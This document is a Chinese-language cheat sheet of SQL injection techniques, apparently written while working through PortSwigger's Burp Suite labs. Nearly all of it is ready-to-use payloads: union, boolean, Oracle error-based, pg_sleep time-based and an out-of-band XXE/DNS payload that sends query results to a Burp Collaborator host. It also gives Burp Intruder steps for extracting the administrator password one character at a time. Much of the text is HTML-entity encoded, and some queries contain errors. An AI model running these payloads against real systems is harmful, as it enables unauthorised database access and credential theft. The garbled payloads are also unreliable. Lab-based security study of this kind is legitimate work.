各类数据库版本命令参照:
https://portswigger.net/web-security/sql-injection/cheat-sheet
burp靶场:https://portswigger.net/web-security/all-labs
注入技巧篇
数字型注入
' union select 1,2,3
字符型注入
' union select NULL,NULL,NULL--
注入点只有一个,但也能同时查两个数据
' union select null,username||'~'||password from users--
注入技巧(布尔注入非oracle)
某个注入点,发现如下语句返回正确结果:
' and '1'='1
判断是否存在user表
'+and+(select 'a' from users limit 1)='a;
判断user表中是否存在username、password
'+and+(select 'a' from users where username='administrator' and length(password)>1)='a;
继续注入,稍微改写一下,然后将a值放入burpsuite中的intruder爆破即可(文章末尾补充了burp爆破方法):
'+and+(select substring(password,1,1) from users where username='administrator')='$a$;
注意,只有oracle的substr不一样
Oracle SUBSTR(‘foobar’, 4, 2)
Microsoft SUBSTRING(‘foobar’, 4, 2)
PostgreSQL SUBSTRING(‘foobar’, 4, 2)
MySQL SUBSTRING(‘foobar’, 4, 2)
注入技巧(双单引号oracle数据库)
某个注入点,输入一个单引号’报错,两个单引号’'返回正确结果
那么注入则可以这么写:
' || (select '') || '
如果是oracle数据库,则
' || (select '' from dual) || '
继续判断oracle数据是否存在users表(其中rownum类似于limit)
' || (select '' from users where rownum=1) ||'
判断columns
' || (select username from users where rownum=1) ||'
' || (select password from users where rownum=1) ||'
构造如下布尔注入(其中to_char写法会报错,以此来实现判断)
&#39;&#43;||&#43;(select&#43;case&#43;when&#43;(1&#61;1)&#43;then&#43;to_char(1/0)&#43;else&#43;&#39;&#39;&#43;end&#43;from&#43;users&#43;where&#43;username&#61;&#39;administrator&#39;&#43;and&#43;length(password)<1)||&#39;
接下来就是burp跑字典&#xff0c;方法已经放到文章最后
&#39;&#43;||&#43;(select&#43;case&#43;when&#43;(1&#61;1)&#43;then&#43;to_char(1/0)&#43;else&#43;&#39;&#39;&#43;end&#43;from&#43;users&#43;where&#43;username&#61;&#39;administrator&#39;&#43;and&#43;substr(password,$A$,1)&#61;&#39;$a$&#39;)||&#39;
注入技巧&#xff08;盲注&#xff09;
某个注入点输入任何测试字符&#xff08;如单引号&#xff0c;两个单引号&#xff0c;and 1&#61;1&#xff09;都返回正确结果&#xff0c;不妨试下如下语句
&#39; || (select sleep(3))-- # MySQL
&#39; || (select pg_sleep(3))
盲注判断一波password的长度&#xff0c;burpsuite再来爆破一波
&#39;||(select case when (username&#61;&#39;administrator&#39; and length(password)<$1$) then pg_sleep(3) else pg_sleep(0) end from users)
盲注爆破password&#xff08;文章末尾补充了盲注爆破方法&#xff09;
&#39;||(select case when (username&#61;&#39;administrator&#39; and substring(password,$A$,1)&#61;&#39;$B$&#39;) then pg_sleep(3) else pg_sleep(0) end from users)
注入技巧&#xff08;无回显、无盲注&#xff09;
采用DNS Lookup注入&#xff0c;例如oracle的数据库注入验证方式
&#xff08;更多请查看https://portswigger.net/web-security/sql-injection/cheat-sheet&#xff09;
&#39; ||(SELECT extractvalue(xmltype(&#39;<?xml version&#61;"1.0" encoding&#61;"UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://&#39;||(SELECT YOUR-QUERY-HERE)||&#39;.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>&#39;),&#39;/l&#39;) FROM dual)
burpsuite自带一个DNS lookup功能&#xff08;&#xff09;
回显的这部分就是密码
各类数据库查version
oracle数据库查询version
&#39;&#43;union&#43;select&#43;user,banner&#43;from&#43;v$version--
Microsoft&MySQL查询version
SELECT &#64;&#64;version
更多请查看&#xff1a;
https://portswigger.net/web-security/sql-injection/cheat-sheet
oracle数据库默认表
oracle 数据库不能通过select null,null这种方式&#xff0c;必须确定from&#xff0c;通过百度搜索oracle database statement可知&#xff0c;DUAL表示默认的表
&#39;&#43;union&#43;select&#43;&#39;a&#39;,&#39;b&#39;&#43;from&#43;DUAL--
oracle查询自带库&#xff0c;类似于mysql中的information_schema
&#39; union select table_name,null from all_tables
oracle利用all_tab_columns查询字段
&#39; union select columns_name from all_tab_columns where table_name&#61;&#39;USERS_PRTMSH&#39;
利用all_tab_columns查询出的字段进行查询
&#39; union select USERNAME_GTGIHR||&#39;~&#39;||PASSWORD_SGMAIO,null from USERS_PRTMSH
MySQL数据库
information_schema
利用information_schema表查询表
&#39; union select table_name,null from information.tables
通过information_schema表查询出来的表来继续查询column
&#39; union select column_name,null from information_schema.columns where table_name&#61; users_dababase
burpsuite爆破-布尔型
这里补充一下burp爆破的技巧&#xff0c;上面提到的布尔注入需要爆破两个点&#xff0c;
结构类似于&#xff1a;
for B in range(20):for A in range(30)
这种结构爆破可以选择Cluster bomb
并且给A点设置如下payload
给B点设置如下payload
爆破中…
burpsuite爆破-时间型
1.这里的语句如下
&#39;||(select case when (username&#61;&#39;administrator&#39; and substring(password,§A§,1)&#61;&#39;§B§&#39;) then pg_sleep(3) else pg_sleep(0) end from users)
2.设置一下Cluster bomb&#xff0c;并设置两个爆破参数
3.payload中第一个参数为1-20的数字&#xff0c;所以设置如下&#xff1a;
4.第二个参数需要在数字与字母之间进行爆破&#xff0c;所以选择brute forcer&#xff1a;
5.这一点与其他注入不同&#xff0c;时间盲注需要将线程设置为1&#xff08;否则会让时间延迟判断有误差&#xff09;
6.运行即可&#xff0c;设置显示延时回显Response received&#xff08;因为是单线程&#xff0c;这里等待的时间很长&#xff09;
7.找出高延时的即可